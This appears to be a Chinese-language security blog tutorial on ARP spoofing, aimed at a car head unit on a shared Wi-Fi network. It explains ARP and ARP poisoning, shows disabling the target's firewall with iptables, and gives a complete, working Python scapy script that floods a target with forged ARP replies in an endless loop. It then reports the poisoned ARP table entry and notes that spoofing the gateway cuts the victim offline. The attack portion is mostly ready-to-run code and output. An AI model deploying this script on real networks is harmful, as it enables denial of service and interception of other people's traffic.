来一场ARP欺骗吧(附攻击脚本)
来一场ARP欺骗吧(附攻击脚本)
ARP简介
百度百科
地址解析协议,即ARP(Address Resolution Protocol),是根据IP地址获取物理地址的一个TCP/IP协议。主机发送信息时将包含目标IP地址的ARP请求广播到局域网络上的所有主机,并接收返回消息,以此确定目标的物理地址;收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间,下次请求时直接查询ARP缓存以节约资源
而在局域网中,主机可以自主发送ARP应答消息,其余主机收到应答报文时不会检测该报文的真实性就会将其记入本机ARP缓存,这也是ARP欺骗的基础
ARP欺骗
ARP协议的基础在于局域网内的主机是相互信任的
而在局域网中,主机可以自主发送ARP应答消息,其余主机收到应答报文时不会检测该报文的真实性就会将其记入本机ARP缓存,这也是ARP欺骗的基础
关于ARP欺骗的百度百科(为什么我写文章一直在抄百度
ARP欺骗(ARP spoofing),又称ARP毒化(ARP poisoning,网络上多译为ARP病毒)或ARP攻击,是针对以太网地址解析协议ARP的一种攻击技术,通过欺骗局域网内访问者PC的网关MAC地址,使访问者PC错以为攻击者更改后的MAC地址是网关的MAC,导致网络不通。此种攻击可让攻击者获取局域网上的数据包甚至可篡改数据包,且可让网络上特定计算机或所有计算机无法正常连线
简单来说就是覆盖受害机ARP表中的MAC地址对应,导致受害机与局域网内的其他设备无法通信
攻击前置
给车机和攻击机放在同一个WIFI下
车机IP
攻击机,即树莓派IP
关闭车机防火墙
iptables -P INPUT ACCEPT
查看路由表
ip neigh list
检测一下wlan下两者的网络能否PING通
可以看到是互通的
ARP脚本 - python
ARP python的攻击脚本arp_spoof.py
如下
from scapy.all import *
import time
target_ip="192.168.31.230"
target_mac="04:7f:0e:70:23:c0"
fake_ip="192.168.31.240"
fake_mac="11:22:33:44:55:66"
def arp_spoof():
arp=ARP()
arp.psrc=fake_ip
arp.pdst=target_ip
arp.hwsrc=fake_mac
arp.hwdst=target_mac
pkt=arp
send(pkt)
if __name__ == '__main__':
i=1
while 1:
time.sleep(1)
print("第{}次攻击".format(i))
i+=1
arp_spoof()
这个脚本在windows上运行不了,会显示没有ARP这个类,即便你已经下载了包,时间问题我就没有去排查原因了
攻击现象
树莓派不断攻击
查看路由表,箭头所指的这一条就是我们伪造的
针对wlan0的ARP欺骗攻击成功
实际过程中覆盖网关MAC地址,就能够实现受害机无法上网的功能
其他工具
其他的一些ARP攻击工具
- arpspoof
END
建了一个微信的安全交流群,欢迎添加我微信备注进群
,一起来聊天吹水哇,以及一个会发布安全相关内容的公众号,欢迎关注 😃